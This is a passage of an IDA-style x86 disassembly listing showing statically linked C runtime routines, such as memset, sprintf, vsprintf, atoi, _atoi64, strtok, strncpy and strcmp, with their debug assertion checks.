arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4170C3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4170B7
		neg	ecx
		and	ecx, 3
		jz	short loc_417099
		sub	edx, ecx


loc_417093:				; CODE XREF: sub_417070+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_417093


loc_417099:				; CODE XREF: sub_417070+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4170B7
		rep stosd
		test	edx, edx
		jz	short loc_4170BD


loc_4170B7:				; CODE XREF: sub_417070+18j
					; sub_417070+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4170B7


loc_4170BD:				; CODE XREF: sub_417070+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4170C3:				; CODE XREF: sub_417070+Aj
		mov	eax, [esp+arg_0]
		retn
sub_417070	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170D0	proc near		; CODE XREF: sub_4013FF+1Cp
					; sub_4105CB+19p ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax


loc_4170DF:				; CODE XREF: sub_4170D0+37j
		cmp	[ebp+arg_0], 0
		jnz	short loc_417103
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Ah
		push	offset aVsprintf_c ; "vsprintf.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_417103
		int	3		; Trap to Debugger


loc_417103:				; CODE XREF: sub_4170D0+13j
					; sub_4170D0+30j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4170DF


loc_417109:				; CODE XREF: sub_4170D0+61j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41712D
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Bh
		push	offset aVsprintf_c ; "vsprintf.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41712D
		int	3		; Trap to Debugger


loc_41712D:				; CODE XREF: sub_4170D0+3Dj
					; sub_4170D0+5Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_417109
		mov	eax, [ebp+var_24]
		mov	dword ptr [eax+0Ch], 42h
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_4]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_41E9B0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_24]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_24]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_4171A8
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		mov	byte ptr [eax],	0
		xor	ecx, ecx
		and	ecx, 0FFh
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx], eax
		jmp	short loc_4171B9
; ---------------------------------------------------------------------------


loc_4171A8:				; CODE XREF: sub_4170D0+B4j
		mov	edx, [ebp+var_24]
		push	edx
		push	0
		call	sub_41E730
		add	esp, 8
		mov	[ebp+var_2C], eax


loc_4171B9:				; CODE XREF: sub_4170D0+D6j
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4170D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171D0	proc near		; CODE XREF: sub_401445+5Ep
					; sub_40219C+2Ep ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_8]
		mov	[ebp+var_2C], ecx


loc_4171E5:				; CODE XREF: sub_4171D0+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_417209
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Dh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_417209
		int	3		; Trap to Debugger


loc_417209:				; CODE XREF: sub_4171D0+19j
					; sub_4171D0+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4171E5


loc_41720F:				; CODE XREF: sub_4171D0+67j
		cmp	[ebp+arg_4], 0
		jnz	short loc_417233
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Eh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_417233
		int	3		; Trap to Debugger


loc_417233:				; CODE XREF: sub_4171D0+43j
					; sub_4171D0+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41720F
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 42h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+var_24]
		mov	dword ptr [eax+4], 7FFFFFFFh
		mov	ecx, [ebp+var_2C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_41E9B0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_24]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_24]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_4172AF
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		mov	byte ptr [eax],	0
		xor	ecx, ecx
		and	ecx, 0FFh
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx], eax
		jmp	short loc_4172C0
; ---------------------------------------------------------------------------


loc_4172AF:				; CODE XREF: sub_4171D0+BBj
		mov	edx, [ebp+var_24]
		push	edx
		push	0
		call	sub_41E730
		add	esp, 8
		mov	[ebp+var_30], eax


loc_4172C0:				; CODE XREF: sub_4171D0+DDj
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4171D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172D0	proc near		; CODE XREF: sub_401445+42p
					; ___:004028A9p ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_C]
		mov	[ebp+var_2C], ecx


loc_4172E5:				; CODE XREF: sub_4172D0+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_417309
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Dh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_417309
		int	3		; Trap to Debugger


loc_417309:				; CODE XREF: sub_4172D0+19j
					; sub_4172D0+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4172E5


loc_41730F:				; CODE XREF: sub_4172D0+67j
		cmp	[ebp+arg_8], 0
		jnz	short loc_417333
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Eh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_417333
		int	3		; Trap to Debugger


loc_417333:				; CODE XREF: sub_4172D0+43j
					; sub_4172D0+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41730F
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 42h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_41E9B0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	edx, [ebp+var_24]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_24]
		cmp	dword ptr [edx+4], 0
		jl	short loc_4173AE
		mov	eax, [ebp+var_24]
		mov	ecx, [eax]
		mov	byte ptr [ecx],	0
		xor	edx, edx
		and	edx, 0FFh
		mov	[ebp+var_30], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+var_24]
		mov	[edx], ecx
		jmp	short loc_4173BF
; ---------------------------------------------------------------------------


loc_4173AE:				; CODE XREF: sub_4172D0+BAj
		mov	eax, [ebp+var_24]
		push	eax
		push	0
		call	sub_41E730
		add	esp, 8
		mov	[ebp+var_30], eax


loc_4173BF:				; CODE XREF: sub_4172D0+DCj
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4172D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4173D0	proc near		; CODE XREF: sub_4174D0+7p
					; sub_428F10+271p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h


loc_4173D6:				; CODE XREF: sub_4173D0+4Ej
		cmp	dword_443B70, 1
		jle	short loc_4173F6
		push	8
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_41740F
; ---------------------------------------------------------------------------


loc_4173F6:				; CODE XREF: sub_4173D0+Dj
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_443C7C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp+var_10], edx


loc_41740F:				; CODE XREF: sub_4173D0+24j
		cmp	[ebp+var_10], 0
		jz	short loc_417420
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_4173D6
; ---------------------------------------------------------------------------


loc_417420:				; CODE XREF: sub_4173D0+43j
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_4], 2Dh
		jz	short loc_417445
		cmp	[ebp+var_4], 2Bh
		jnz	short loc_417458


loc_417445:				; CODE XREF: sub_4173D0+6Dj
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_417458:				; CODE XREF: sub_4173D0+73j
		mov	[ebp+var_8], 0


loc_41745F:				; CODE XREF: sub_4173D0+E9j
		cmp	dword_443B70, 1
		jle	short loc_41747B
		push	4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_14], eax
		jmp	short loc_417490
; ---------------------------------------------------------------------------


loc_41747B:				; CODE XREF: sub_4173D0+96j
		mov	eax, [ebp+var_4]
		mov	ecx, off_443C7C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_14], edx


loc_417490:				; CODE XREF: sub_4173D0+A9j
		cmp	[ebp+var_14], 0
		jz	short loc_4174BB
		mov	eax, [ebp+var_8]
		imul	eax, 0Ah
		mov	ecx, [ebp+var_4]
		lea	edx, [eax+ecx-30h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_41745F
; ---------------------------------------------------------------------------


loc_4174BB:				; CODE XREF: sub_4173D0+C4j
		cmp	[ebp+var_C], 2Dh
		jnz	short loc_4174C8
		mov	eax, [ebp+var_8]
		neg	eax
		jmp	short loc_4174CB
; ---------------------------------------------------------------------------


loc_4174C8:				; CODE XREF: sub_4173D0+EFj
		mov	eax, [ebp+var_8]


loc_4174CB:				; CODE XREF: sub_4173D0+F6j
		mov	esp, ebp
		pop	ebp
		retn
sub_4173D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4174D0	proc near		; CODE XREF: ___:0040250Fp
					; ___:0040252Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4173D0
		add	esp, 4
		pop	ebp
		retn
sub_4174D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi


loc_4174F7:				; CODE XREF: ___:0041753Fj
		cmp	dword_443B70, 1
		jle	short loc_417517
		push	8
		mov	eax, [ebp+8]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp-14h], eax
		jmp	short loc_417530
; ---------------------------------------------------------------------------


loc_417517:				; CODE XREF: ___:004174FEj
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_443C7C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp-14h], edx


loc_417530:				; CODE XREF: ___:00417515j
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_417541
		mov	eax, [ebp+8]
		add	eax, 1
		mov	[ebp+8], eax
		jmp	short loc_4174F7
; ---------------------------------------------------------------------------


loc_417541:				; CODE XREF: ___:00417534j
		mov	ecx, [ebp+8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp-4], edx
		mov	eax, [ebp+8]
		add	eax, 1
		mov	[ebp+8], eax
		mov	ecx, [ebp-4]
		mov	[ebp-10h], ecx
		cmp	dword ptr [ebp-4], 2Dh
		jz	short loc_417566
		cmp	dword ptr [ebp-4], 2Bh
		jnz	short loc_417579


loc_417566:				; CODE XREF: ___:0041755Ej
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		add	ecx, 1
		mov	[ebp+8], ecx


loc_417579:				; CODE XREF: ___:00417564j
		mov	dword ptr [ebp-0Ch], 0
		mov	dword ptr [ebp-8], 0


loc_417587:				; CODE XREF: ___:004175F7j
		cmp	dword_443B70, 1
		jle	short loc_4175A3
		push	4
		mov	edx, [ebp-4]
		push	edx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp-18h], eax
		jmp	short loc_4175B8
; ---------------------------------------------------------------------------


loc_4175A3:				; CODE XREF: ___:0041758Ej
		mov	eax, [ebp-4]
		mov	ecx, off_443C7C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp-18h], edx


loc_4175B8:				; CODE XREF: ___:004175A1j
		cmp	dword ptr [ebp-18h], 0
		jz	short loc_4175F9
		push	0
		push	0Ah
		mov	eax, [ebp-8]
		push	eax
		mov	ecx, [ebp-0Ch]
		push	ecx
		call	sub_41F850
		mov	ecx, eax
		mov	esi, edx
		mov	eax, [ebp-4]
		sub	eax, 30h
		cdq
		add	ecx, eax
		adc	esi, edx
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], esi
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		add	ecx, 1
		mov	[ebp+8], ecx
		jmp	short loc_417587
; ---------------------------------------------------------------------------


loc_4175F9:				; CODE XREF: ___:004175BCj
		cmp	dword ptr [ebp-10h], 2Dh
		jnz	short loc_41760E
		mov	eax, [ebp-0Ch]
		neg	eax
		mov	edx, [ebp-8]
		adc	edx, 0
		neg	edx
		jmp	short loc_417614
; ---------------------------------------------------------------------------


loc_41760E:				; CODE XREF: ___:004175FDj
		mov	eax, [ebp-0Ch]
		mov	edx, [ebp-8]


loc_417614:				; CODE XREF: ___:0041760Cj
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417620	proc near		; CODE XREF: ___:00402502p
					; ___:0040251Fp ...

var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_30], eax
		call	sub_41F970
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], 0
		jmp	short loc_417646
; ---------------------------------------------------------------------------


loc_41763D:				; CODE XREF: sub_417620+34j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_417646:				; CODE XREF: sub_417620+1Bj
		cmp	[ebp+var_C], 20h
		jge	short loc_417656
		mov	edx, [ebp+var_C]
		mov	[ebp+edx+var_2C], 0
		jmp	short loc_41763D
; ---------------------------------------------------------------------------


loc_417656:				; CODE XREF: sub_417620+2Aj
					; sub_417620+79j
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		sar	edx, 3
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cl, [eax]
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		mov	cl, [ebp+edx+var_2C]
		or	cl, al
		mov	edx, [ebp+var_30]
		xor	eax, eax
		mov	al, [edx]
		sar	eax, 3
		mov	[ebp+eax+var_2C], cl
		mov	ecx, [ebp+var_30]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_30]
		add	eax, 1
		mov	[ebp+var_30], eax
		test	edx, edx
		jnz	short loc_417656
		cmp	[ebp+arg_0], 0
		jz	short loc_4176A9
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		jmp	short loc_4176B2
; ---------------------------------------------------------------------------


loc_4176A9:				; CODE XREF: sub_417620+7Fj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+18h]
		mov	[ebp+var_4], eax


loc_4176B2:				; CODE XREF: sub_417620+87j
					; sub_417620+CFj
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		sar	edx, 3
		xor	eax, eax
		mov	al, [ebp+edx+var_2C]
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, edx
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		and	eax, edx
		test	eax, eax
		jz	short loc_4176F1
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_4176F1
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_4176B2
; ---------------------------------------------------------------------------


loc_4176F1:				; CODE XREF: sub_417620+B9j
					; sub_417620+C4j
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax
		jmp	short loc_417702
; ---------------------------------------------------------------------------


loc_4176F9:				; CODE XREF: sub_417620:loc_417747j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_417702:				; CODE XREF: sub_417620+D7j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_417749
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		sar	edx, 3
		xor	eax, eax
		mov	al, [ebp+edx+var_2C]
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, edx
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		and	eax, edx
		test	eax, eax
		jz	short loc_417747
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_417749
; ---------------------------------------------------------------------------


loc_417747:				; CODE XREF: sub_417620+114j
		jmp	short loc_4176F9
; ---------------------------------------------------------------------------


loc_417749:				; CODE XREF: sub_417620+EBj
					; sub_417620+125j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		mov	[edx+18h], eax
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [ebp+var_4]
		jnz	short loc_41775E
		xor	eax, eax
		jmp	short loc_417761
; ---------------------------------------------------------------------------


loc_41775E:				; CODE XREF: sub_417620+138j
		mov	eax, [ebp+arg_0]


loc_417761:				; CODE XREF: sub_417620+13Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_417620	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417770	proc near		; CODE XREF: ___:004024F4p
					; ___:00402C2Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_4177F3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_417794
		shr	ecx, 2
		jnz	short loc_417801
		jmp	short loc_4177B5
; ---------------------------------------------------------------------------


loc_417794:				; CODE XREF: sub_417770+1Bj
					; sub_417770+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_4177C2
		test	al, al
		jz	short loc_4177CA
		test	esi, 3
		jnz	short loc_417794
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_417801


loc_4177B0:				; CODE XREF: sub_417770+8Fj
		and	ebx, 3
		jz	short loc_4177C2


loc_4177B5:				; CODE XREF: sub_417770+22j
					; sub_417770+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_4177EE
		dec	ebx
		jnz	short loc_4177B5


loc_4177C2:				; CODE XREF: sub_417770+2Bj
					; sub_417770+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4177CA:				; CODE XREF: sub_417770+2Fj
		test	edi, 3
		jz	short loc_4177E4


loc_4177D2:				; CODE XREF: sub_417770+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_417866
		test	edi, 3
		jnz	short loc_4177D2


loc_4177E4:				; CODE XREF: sub_417770+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_417857


loc_4177EB:				; CODE XREF: sub_417770+7Fj
					; sub_417770+F4j
		mov	[edi], al
		inc	edi


loc_4177EE:				; CODE XREF: sub_417770+4Dj
		dec	ebx
		jnz	short loc_4177EB
		pop	ebx
		pop	esi


loc_4177F3:				; CODE XREF: sub_417770+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4177F9:				; CODE XREF: sub_417770+A9j
					; sub_417770+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_4177B0


loc_417801:				; CODE XREF: sub_417770+20j
					; sub_417770+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4177F9
		test	dl, dl
		jz	short loc_41784B
		test	dh, dh
		jz	short loc_417841
		test	edx, 0FF0000h
		jz	short loc_417837
		test	edx, 0FF000000h
		jnz	short loc_4177F9
		mov	[edi], edx
		jmp	short loc_41784F
; ---------------------------------------------------------------------------


loc_417837:				; CODE XREF: sub_417770+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41784F
; ---------------------------------------------------------------------------


loc_417841:				; CODE XREF: sub_417770+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41784F
; ---------------------------------------------------------------------------


loc_41784B:				; CODE XREF: sub_417770+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41784F:				; CODE XREF: sub_417770+C5j
					; sub_417770+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_417861


loc_417857:				; CODE XREF: sub_417770+79j
		xor	eax, eax


loc_417859:				; CODE XREF: sub_417770+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_417859


loc_417861:				; CODE XREF: sub_417770+E5j
		and	ebx, 3
		jnz	short loc_4177EB


loc_417866:				; CODE XREF: sub_417770+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_417770	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417870	proc near		; CODE XREF: ___:004024E0p
					; sub_403038+1A5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_4178BC


loc_417880:				; CODE XREF: sub_417870+3Cj
					; sub_417870+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_4178B4
		or	al, al
		jz	short loc_4178B0
		cmp	ah, [ecx+1]
		jnz	short loc_4178B4
		or	ah, ah
		jz	short loc_4178B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_4178B4
		or	al, al
		jz	short loc_4178B0
		cmp	ah, [ecx+3]
		jnz	short loc_4178B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_417880
		mov	edi, edi


loc_4178B0:				; CODE XREF: sub_417870+18j
					; sub_417870+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4178B4:				; CODE XREF: sub_417870+14j
					; sub_417870+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4178BC:				; CODE XREF: sub_417870+Ej
		test	edx, 1
		jz	short loc_4178D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_4178B4
		inc	ecx
		or	al, al
		jz	short loc_4178B0
		test	edx, 2
		jz	short loc_417880


loc_4178D8:				; CODE XREF: sub_417870+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_4178B4
		or	al, al
		jz	short loc_4178B0
		cmp	ah, [ecx+1]
		jnz	short loc_4178B4
		or	ah, ah
		jz	short loc_4178B0
		add	ecx, 2
		jmp	short loc_417880
sub_417870	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	off_443B4C, 0
		jz	short loc_417912
		call	off_443B4C


loc_417912:				; CODE XREF: ___:0041790Aj
		push	offset dword_436028
		push	offset dword_436014
		call	sub_417AD0
		add	esp, 8
		push	offset dword_436010
		push	offset dword_436000
		call	sub_417AD0
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_4179C0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


